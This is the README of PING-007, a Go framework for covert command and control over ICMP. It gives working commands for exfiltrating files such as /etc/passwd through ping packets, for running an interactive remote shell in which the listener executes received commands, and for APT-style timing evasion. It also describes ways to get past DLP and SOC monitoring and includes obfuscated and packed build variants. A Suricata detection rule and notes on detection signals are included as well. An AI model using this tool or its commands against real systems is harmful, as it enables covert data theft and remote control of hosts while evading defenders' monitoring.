Skip to content

franckferman/ping-007

Repository files navigation

PING-007 v3.0: Covert ICMP C2 Framework

PING-007 is a Go framework for covert ICMP communication designed for authorized penetration testing, red team operations, and security research. It embeds encrypted data inside legitimate-looking ICMP ping packets with multi-packet stealth reassembly and APT-grade timing evasion.

Go Version Crypto Platform

Requires elevated privileges — raw ICMP sockets (SOCK_RAW + IPPROTO_ICMP) bypass the transport layer and need CAP_NET_RAW on Linux/macOS, Administrator on Windows.


Privileges

Why root is required

Ping-007 opens a raw ICMP socket to both craft outgoing packets (custom OS signature, XOR steganography) and capture all incoming ICMP traffic on the interface — not just replies to its own pings. The kernel gates this behind CAP_NET_RAW because raw sockets can sniff traffic and forge arbitrary source IPs.

Normal tools like curl or nc use TCP/UDP sockets where the kernel handles framing — no elevated privileges needed. Ping-007 works at the IP layer directly, which is why the requirement exists.

Linux / macOS

# Standard — run as root
sudo ./build/ping-007 listen -o ./loot -p "key"

# Alternative — assign capability to the binary (dev/lab only)
sudo setcap cap_net_raw+ep ./build/ping-007
./build/ping-007 listen -o ./loot -p "key"   # no sudo needed

OPSEC warning on setcap: the capability is stored in the file's extended attributes and is readable by anyone:

getcap ./build/ping-007
# → ./build/ping-007 = cap_net_raw+ep
find / -xdev 2>/dev/null | xargs getcap 2>/dev/null  # defenders run this

In real operations, use sudo or a root shell — no persistent artifact on the binary.

This mirrors how ping itself works on modern Linux:

getcap /usr/bin/ping
# /usr/bin/ping = cap_net_raw+ep

Windows

Windows has no fine-grained capability system like CAP_NET_RAW — there is no setcap equivalent. The only way to open a raw socket is to run as Administrator. No workaround exists.

# Right-click terminal → "Run as Administrator", then:
.\build\ping-007.exe listen -o .\loot -p "key"

Windows caveats (raw sockets since XP SP2):

Issue Detail
Privilege Administrator mandatory — no capability workaround unlike Linux setcap
Firewall Windows Defender blocks inbound ICMP by default. The listener won't receive packets until a rule is added (see below). Outbound ICMP (sender) works without changes.
Loopback Raw sockets cannot receive packets sent to 127.0.0.1 on Windows — single-machine testing doesn't work. Use two separate hosts.
Source IP Raw socket sends are allowed as Admin, but the source IP cannot be spoofed — Windows enforces a valid local IP.
Tested ⚠ Cross-compiled but not validated end-to-end on Windows — use Linux for critical ops.

Note on enterprise networks: ICMP is almost universally allowed on corporate LANs. Network teams rely on it for troubleshooting (ping, traceroute, path MTU discovery) and rarely restrict it internally. This is precisely what makes ICMP a reliable covert channel in lateral movement scenarios — the traffic blends in with normal infrastructure monitoring. The Windows Defender caveat above applies to the host firewall only, not to the network-level policy.

# Allow inbound ICMP echo on the local host firewall (listener side only)
netsh advfirewall firewall add rule name="ICMP Allow" protocol=icmpv4:8,any dir=in action=allow

# Remove the rule after testing
netsh advfirewall firewall delete rule name="ICMP Allow"

Installation

git clone https://github.com/franckferman/ping-007
cd ping-007
make build            # binary → build/ping-007
sudo make install     # install to /usr/local/bin/ping-007 (optional)

Requirements: Go 1.25+, sudo/root, ICMP-capable network interface.


Command Overview

ping-007 basic    — send a message (inline data or file)
ping-007 stealth  — send with stealth mode forced on
ping-007 exfil    — exfiltrate a file in chunks
ping-007 shell    — interactive bidirectional C2 shell over ICMP
ping-007 listen   — receive/decrypt incoming data
ping-007 apt      — APT group timing simulation
ping-007 analyze  — passive network analysis
ping-007 status   — framework health check

Usage

Encryption modes

Situation Command Result
No -p flag sudo ./ping-007 basic -t <ip> -d "msg" Warning: random key — receiver can't decrypt. Non-interoperable.
Shared password sudo ./ping-007 basic -t <ip> -d "msg" -p "secret" AES-256-GCM, PBKDF2-derived key. Receiver with same -p decrypts automatically.
No encryption sudo ./ping-007 exfil -t <ip> -f file --no-encrypt Plaintext payload in ICMP. Receiver gets raw bytes.

Without -p, the binary prints: Warning: No password or keyfile - using random keys (non-interoperable)


1. Send a message (basic)

# Encrypted with shared password
sudo ./build/ping-007 basic -t 192.168.1.100 -p "mypassword" -d "operation alpha"

# Receive it
sudo ./build/ping-007 listen -o ./received -p "mypassword" --timeout 30

2. Exfiltrate a file

# Sender
sudo ./build/ping-007 exfil -t 192.168.1.100 -f /etc/passwd -p "mypassword" --mode fast

# Receiver
sudo ./build/ping-007 listen -o ./loot -p "mypassword" --timeout 120

--mode fast disables APT timing delays. --mode stealth (default) adds delays per chunk. --mode covert uses alternate patterns.

3. Bidirectional C2 shell

The listener executes incoming commands and sends results back encrypted over ICMP.

# Terminal 1 — target machine (agent/listener)
sudo ./build/ping-007 listen --method shell -o /tmp/c2 -p "c2pass" --timeout 3600

# Terminal 2 — operator (C2 client)
sudo ./build/ping-007 shell -t <TARGET_IP> -p "c2pass"
# ping-007> id
# uid=0(root) gid=0(root) ...
# ping-007> whoami
# root
# ping-007> exit

The shell sends CMD:<id>:<command> packets encrypted; the listener executes and replies RESP:<id>:<success>:<rc>:<stdout>:<stderr> encrypted.

--mode batch executes commands locally (no ICMP, for offline testing only).

4. APT timing simulation

sudo ./build/ping-007 apt -t 192.168.1.100 -r lazarus --duration 300 -p "mypassword"

Available profiles: lazarus (5min–1hr delays), apt29 (30min–2hr), apt28 (10–30min), equation (1–3 days).


Flag Reference

Global flags (all commands)

Flag Default Description
-p, --password Shared password for AES-256-GCM + PBKDF2 key derivation
-v, --verbose false Verbose logging
--no-banner false Suppress startup banner and JSON logs
-c, --config Config file path

basic

Flag Default Description
-t, --target required Target IP address
-d, --data Inline data to transmit
--signature linux OS ping signature to mimic (linux, windows, none)
--no-signature false Raw ICMP, no OS pattern
-s, --stealth false Force stealth mode (64-byte, proper timing)
--delay 0 Pre-transmission delay (e.g. 2s, 500ms)
--human-timing false Random 1–5s intervals between packets
--ultra-stealth false Maximum evasion (timing + size + pattern)
--decoy-pings 0 Send N clean OS-pattern pings before data (blending)
--after-pings 0 Send N clean pings after data to close session naturally
--ping-interval 1s Interval between pings in a sequence (mirrors real ping)
--no-encrypt false Send plaintext — no encryption, no encoding (raw bytes in ICMP)
--encode false Base64-encode payload without encrypting (lower entropy than AES, no confidentiality)
-i, --interactive false Interactive prompt mode

exfil

Flag Default Description
-t, --target required Target IP address
-f, --file required File to exfiltrate
--method icmp_tunnel Transfer method (icmp_tunnel, icmp_payload)
--mode stealth Timing mode (stealth, fast, covert)
--chunk-size 512 Base chunk size in bytes (±25% jitter applied per chunk)
--no-stealth false Disable stealth techniques
--no-encrypt false Disable encryption (plaintext payload)
--signature linux OS signature for TTL mimicry (linux, windows, none)

shell

Flag Default Description
-t, --target required Target IP address
--mode interactive interactive (ICMP C2) or batch (local execution only)
--jitter 0 Max random delay before each outgoing packet (e.g. 3s); 0 = disabled

listen

Flag Default Description
-o, --output ./received Output directory for received files
--interface eth0 Network interface to listen on
--method icmp_tunnel Listen method (icmp_tunnel, shell)
--timeout 60 Timeout in seconds
-q, --quiet false Suppress per-packet output (for real ops — verbose log is an OpSec risk)

apt

Flag Default Description
-t, --target required Target IP address
-r, --profile required APT profile (lazarus, apt29, apt28, equation)
--duration 60 Simulation duration in seconds

analyze

Flag Default Description
--duration 60 Analysis duration in seconds
--passive false Passive mode (no raw sockets, no root required)

OPSEC Architecture

Layers of detection evasion applied to make traffic indistinguishable from legitimate ICMP:

Layer Technique SOC detection avoided
TTL setsockopt(IP_TTL) — Linux=64, Windows=128 per --signature OS fingerprinting via TTL
Payload size Stealth mode: always 64 bytes (identical to ping -s 56) Oversized ICMP payload detection
Payload pattern XOR steganography into real OS ping pattern (timeval+sequential or alphabetic) Pattern mismatch vs. known ping tools
Sequence number crypto/rand random start per session (not always 1) "Sequence starts at 1" heuristic
ICMP Identifier crypto/rand random 16-bit per session (not static PID) Fixed identifier = long-running process detection
Fragmentation Large payloads split into N×64-byte pings with embedded frag header Oversized single-packet detection
Timing 1s ± 10% jitter between packets (real ping variance) Fixed-interval Netflow detection
Session blending --decoy-pings before + --after-pings after data (clean OS pings) Isolated "1 ICMP with data" event
Inter-chunk gap 5–30s (stealth) / 30–120s (covert) between chunks Burst transfer rate detection
Shell jitter --jitter <max> random delay before each command packet Metronomic C2 beacon detection
Output verbosity listen --quiet suppresses all stdout Live forensics / process monitoring

What a SOC still can detect

  • High entropy payload: AES-GCM ciphertext has ~8 bits/byte entropy. Stealth mode XOR with sequential pattern reduces visual obviousness but the underlying entropy is preserved. A DPI engine with entropy scoring can flag this.
  • Unusual ping count: real users don't send 20+ consecutive pings. --decoy-pings / --after-pings help wrap data packets in clean traffic, but session length analysis can still fire.
  • Same destination IP: periodic pings to the same C2 IP stand out in flow analysis. Route through IPs with pre-existing legitimate ICMP traffic.
  • Fragment magic byte 0xA7: Suricata/Snort can match it at offset 8 with a custom rule (see detection section below).

Why Enterprise DLP Cannot See This

Verified against published research: Palo Alto LIVEcommunity · JumpSec Labs · Vectra AI · APNIC Blog · DeepStrike · Trisul Analytics

Enterprise DLP solutions (Symantec DLP, Forcepoint, Microsoft Purview, etc.) operate as L7 application proxies or SSL inspection engines targeting HTTP/S, SMTP, FTP and cloud APIs. ICMP is a network-layer diagnostic protocol — it has no application session, no TCP stream, and no content to proxy.

In plain terms: most DLP appliances do not decode ICMP payloads at all.

"Firewalls often permit outbound ICMP by default and only ensure that an Echo Reply matches a recent Echo Request, without inspecting the payload beyond length."DeepStrike Security Research

Why each layer holds up

1. DLP blind spot — confirmed

Traditional firewalls and the majority of DLP products only check ICMP type (8 = request, 0 = reply) and code (0 = no error). Payload content is passed through unchecked. Next-gen firewalls with DPI can be configured for entropy analysis, but this is rare in practice and generates significant false positives on legitimate network tools.

2. The packet is indistinguishable from a real ping

PING-007 in --stealth mode produces byte-for-byte identical packet structure to a real OS ping:

Field Linux ping -s 56 Windows ping PING-007 (--signature linux) PING-007 (--signature windows)
ICMP type 8 (echo request) 8 (echo request) 8 8
Total size 64 bytes 40 bytes 64 bytes 40 bytes
TTL 64 128 64 (via setsockopt) 128 (via setsockopt)
Payload size 56 bytes 32 bytes 56 bytes 32 bytes
Payload structure [8B timeval][sequential 0x08,0x09…] abcdefghijklmnopqrstuvwabcdefghi same structure, XOR'd with data same structure, XOR'd with data

The data is XOR-steganographically embedded into the OS payload pattern. The packet size, TTL, and payload format are identical to the real OS. A packet capture without the key looks like a legitimate ping with slightly "noisy" bytes — indistinguishable from normal network jitter.

"The default ICMP type 8 echo request for Windows machines is abcdefghijklmnopqrstuvwabcdefghi — 32 bytes, the incomplete Latin alphabet."Palo Alto LIVEcommunity

3. On external networks: looks exactly like a user troubleshooting connectivity

With --jitter, --human-timing, --decoy-pings and --after-pings:

[real pings: 5×] → [data ping] → [real pings: 5×]
   ↑                    ↑              ↑
  clean              64 bytes        clean
 OS pings          looks same       OS pings

An analyst watching NetFlow sees: "user sent 11 pings to 10.x.x.x with 1-5s intervals". This is indistinguishable from an admin doing ping -c 11 target. The TTL hop count, packet sizes, and timing cadence all match human behavior.

Even over the internet: ICMP is almost universally allowed outbound on corporate LANs (firewall rules typically allow it for diagnostic purposes), and inbound ICMP to an external target is treated by transit routers as ordinary network traffic.

4. Chunk size is constant regardless of data size

For large exfiltrations, data is split into 42-byte fragments (Linux) or 18-byte fragments (Windows), each carried in a separate 64/40-byte ping. Every packet in the series is identically sized — whether you're exfiltrating 1 byte or 1 GB, each individual packet looks the same. There is no "big ICMP packet" anomaly.

5. Encryption blocks content inspection

Even if a sensor decodes the ICMP payload, it finds:

[4B header][12B random nonce][ciphertext…][16B AEAD tag]

Pure random-looking bytes. No PII patterns, no file headers, no regex match possible. DLP content inspection requires readable text or known file signatures — AES-256-GCM ciphertext provides neither.

6. Proven technique — used in the wild

ICMP covert channels are documented in real threat actor toolkits:

Detection — what Blue Team can do

Signal Tool Difficulty
Payload entropy > 7.5 bits/byte Zeek + entropy script Medium — high FP rate
Fragment magic byte 0xA7 at offset 8 Suricata custom rule Easy if you know the tool
ICMP flood to single external IP NetFlow / SIEM Low — triggers on volume not content
Raw socket process on endpoint EDR (Sysmon event 3) High — catches the process, not the data
Unusual ICMP Reply/Request ratio NDR (Vectra, Darktrace) Medium

Suricata rule to detect PING-007 fragment sessions:

alert icmp any any -> any any (
  msg:"PING-007 stealth fragment magic byte 0xA7";
  itype:8; icode:0;
  content:"|A7|"; offset:8; depth:1;
  threshold: type both, track by_src, count 3, seconds 30;
  sid:9000001; rev:1;
)

Use --no-encrypt + --encode only for testing — the fragment header 0xA7 remains detectable. In real ops, the 64-byte stealth packet with inline XOR steganography (no 0xA7 header) is the hardest to detect.


Cryptographic Details

All three algorithms use PBKDF2-SHA256 (100 000 iterations) with a fixed per-algorithm salt for deterministic key derivation from a shared password.

Algorithm Key Auth Salt
AES-256-GCM 256-bit AEAD ping007-aes-salt-v1
ChaCha20-Poly1305 256-bit AEAD ping007-chacha20-salt-v1
Custom XOR-CFB-HMAC 256-bit HMAC-SHA256 ping007-xor-salt-v1

Wire format: [4-byte header: algo+version][12-byte nonce][ciphertext][16-byte tag]

The listener auto-detects the algorithm from the 4-byte header.


OS Signature Profiles

Profile Payload size Stealth capacity Frag capacity Pattern TTL
linux (default) 64 bytes 46 bytes/pkt 42 bytes/frag Sequential 0x08,0x09,… 64
windows 40 bytes 22 bytes/pkt 18 bytes/frag Alphabetic abcdefgh… 128
none / --no-signature Variable N/A N/A Raw bytes kernel default

For messages/chunks that exceed the single-packet stealth capacity, ping-007 automatically fragments them across multiple 64-byte pings using a 4-byte embedded header ([0xA7 magic][session][frag_id][total_frags]). The receiver reassembles all fragments before decryption. Each fragment is sent at ~1s intervals to match real ping cadence.

Stealth capacity arithmetic (Linux):

  • ICMP payload = 56 bytes (Linux ping -s 56)
  • 8 bytes = timeval (struct timeval, LE)
  • 2 bytes = length prefix (XOR'd into sequential pattern)
  • 46 bytes free for single-packet hidden data
  • AES-256-GCM overhead = 4 (header) + 12 (nonce) + 16 (GCM tag) = 32 bytes
  • → Max single-packet plaintext = 14 bytes; above that, auto-fragmentation kicks in

Testing

make test                # Run full test suite with race detector + HTML coverage report
go test ./...            # Quick run (no coverage)
go test ./internal/crypto/... -v    # Crypto package only
go test ./internal/network/... -v   # Network / fragment protocol only
go test ./internal/config/... -v    # Config validation only

Test coverage

Package Tests What is covered
internal/crypto 28 AES-256-GCM round-trip, ChaCha20-Poly1305 round-trip, XOR-CFB-HMAC round-trip; shared-password cross-instance decryption; wrong-key rejection; AAD context binding; header-based algorithm auto-detection; 64 KiB payload; NonceManager uniqueness (1 000 nonces); NonceManager.Reset counter restart; GenerateNonceSize too-small/valid/counter-embedded; secureRandomIndex invalid-max/max-1/bounds; GetActiveAlgorithm valid+consistent; RotateAlgorithm changes-algo/cycles-all-three; Provider.Name() for all 3 providers; Provider.KeyRotation() post-rotation round-trip; DecryptWithAlgorithmDetection header-auto-detect for AES/ChaCha20/XOR
internal/config 17 ValidateTarget (authorized / forbidden / out-of-range / invalid IP); validateConfig (malformed CIDR, rotation interval floor, negative uptime, APT timing/size range order); EnsureDirectories; GetAPTProfile found / not-found / all 4 built-in profiles; Load default config when no file present
internal/network 29 PacketBuilder (data, stealth, chunk packets); legitimate payload sizing; FragDataCapacity linux/windows/default; single-fragment, multi-fragment, full reassembly (200 B decoded with XOR extraction); Windows fragment count; 255-fragment overflow guard; OS signature header; calculateChecksum all-zeros/ICMP-echo/checksum-field-zeroing/odd-length; parseICMPPacket too-short/header-fields/payload-extraction; buildICMPPacket structure+checksum/sequence-increment; GetMetrics copy semantics; UpdateLatency / UpdateThroughput; CreateStealthChunksWithSignature linux-3pkt/windows-3pkt/none-1pkt/empty/chunk-size-header; CreateChunkPacket headers (chunk_id/total_chunks/checksum); GetLocalInterface no-panic
internal/evasion 21 Engine init; sandbox check disabled/enabled; all 4 APT timing profiles (MinDelay ≤ MaxDelay, jitter in [0,1]); unknown APT profile error; adaptive delay disabled; delay non-negative over 200 iterations; service mimicry valid/unknown; obfuscation disabled/padded/empty sizes; generateRandomFloat bounds (10 000 samples); applyPadding OOB regression (10 000 calls); injectFakeData output length/empty-input/sentinel preservation; contains present/absent/empty-slice/empty-string
internal/logger 21 NONE level → no logs/ directory created, no file; all log levels (Info/Debug/Warn/Error); JSON and text formats; LogSecurityEvent for all severity strings; LogExfiltrationEvent, LogShellActivity, LogEvasionActivity, LogNetworkActivity, LogCryptoActivity; RotateLog no-file/below-limit/rotation-triggered (creates .1); AuditLogger create/write/close/multiple-events; NewSIEMWriter + Write (returns len) + Close; NewWithConfig with SIEM enabled
internal/exfiltration 28 randInRange bounds (5 000 samples), min=max, min>max guard; validateJob for all error cases (missing ID/target/data, negative chunk size, unknown method) and all 4 valid methods; createChunks single/multiple/total-patching/checksum/status/empty/default-size; loadFile existing file, non-existent, directory; GetJobStats, GetActiveJobs; CancelJob not-found/removes-job; NewExfiltrationMonitor; GetProgress not-found/zero-default/metadata-value
internal/orchestrator 31 extractLinuxPattern round-trip (5 cases), too-short, invalid length; extractWindowsPattern round-trip (4 cases), too-short, invalid length; extractStealthData dispatch linux-56/windows-32/raw/too-short; calculateEntropy empty/constant/binary-50-50 (~1 bit)/uniform-256 (~8 bits); generateSessionID format+uniqueness (50 calls); generateJobID format; isLegitimateLinuxPing clean/stealth/wrong-length/high-deviation; analyzeForFrameworkTraffic session-id header/high-entropy/legit-ping bypass/low-entropy/empty; getMaxDataSize windows/linux/default; generateAPTData format+profile+sequence; SetPassword nil-cryptoEngine error
internal/shell 19 randJitter zero/negative max, bounds (5 000 samples); NewShellEngine initial state; GetActiveSessions initially empty; GetSessionStats initially empty; StartSession max-sessions limit, duplicate ID; getSession not-found, inactive, expired no-race regression (20 concurrent goroutines with -race); CleanupExpiredSessions stale removal, fresh preservation, inactive-within-timeout; GetActiveSessions active/inactive filter; parseResponse valid-full / success-false-nonzero-rc / partial-no-stdout / invalid-format (4 cases) / colon-in-stdout

194 tests total across 8 packages, all passing with -race. Tests run without network access or root — no raw sockets involved.


Build Variants

make build               # Standard build → build/ping-007
make build-no-c2         # OPSEC variant → build/ping-007-noc2  (no interactive shell, exfil+listen intact)
make build-stealth       # Manual obfuscation (-trimpath -buildmode=pie)
make build-ghost         # Maximum stripping + obfuscation
make build-compressed    # UPX compression (requires upx)
make build-armored       # Stealth + UPX
make build-minimal       # No APT simulation module (-tags minimal)
make build-all           # All platforms (linux/darwin/windows, amd64/arm64)

Makefile Shortcuts

make basic TARGET=192.168.1.100 PASSWORD='secret'
make stealth TARGET=192.168.1.100 DATA='payload' PASSWORD='secret'
make exfil TARGET=192.168.1.100 FILE=/etc/passwd PASSWORD='secret'
make exfil TARGET=192.168.1.100 FILE=data.zip METHOD=icmp_tunnel MODE=fast PASSWORD='secret'
make apt TARGET=192.168.1.100 PROFILE=lazarus DURATION=300
make shell TARGET=192.168.1.100 PASSWORD='c2pass'
make listen OUTPUT=./loot TIMEOUT=300 PASSWORD='secret'
make analyze DURATION=120
make ultra-stealth TARGET=192.168.1.100 PASSWORD='stealth-key'
make ghost-mode TARGET=192.168.1.100 PASSWORD='ghost-key'
make human-mimic TARGET=192.168.1.100 PASSWORD='test'
make natural-test TARGET=192.168.1.100 COUNT=10 PASSWORD='test'
make crypto-demo

Documentation

Document Content
Site / full doc Architecture, wire format, crypto details, flag reference
TODO Roadmap

References

Technical claims in this documentation are backed by the following published sources:

Claim Source
DLP/firewalls don't inspect ICMP payload DeepStrike — What Is ICMP Tunneling?
Windows ping payload = abcdefghijklmnopqrstuvwabcdefghi Palo Alto LIVEcommunity — ICMP Covert Channel
Linux TTL=64 / Windows TTL=128 InfiniteLogins — Using Ping TTLs to Fingerprint OS · OSTechNix
ICMP covert channel technique JumpSec Labs — Misusing ICMP for file transfers
Behavioral detection via NetFlow/NDR Vectra AI — ICMP Tunnel detection
Entropy analysis for ICMP Trisul Network Analytics — Detecting ICMP covert channels
Exfiltration via ICMP — detection methods APNIC Blog — Common data exfiltration attacks
Pingback malware (ICMP C2, 2021) Trustwave SpiderLabs — Backdoor at the end of the ICMP tunnel
Cobalt Strike / icmpsh / ptunnel in red team Cynet — How Hackers Use ICMP Tunneling · Hacking Articles
Academic — "ICMP traffic considered benign" Springer — Covert Channel Detection in ICMP Payload
Steganography in malware (in-the-wild list) GitHub — steg-in-the-wild by lucacav

Authorized Use Only

This tool is designed exclusively for:

  • Authorized penetration testing engagements
  • Internal red team exercises
  • Security research within sanctioned perimeters
  • Blue team detection validation
  • CTF competitions

Unauthorized use against systems you do not own or have explicit written permission to test is illegal and strictly prohibited.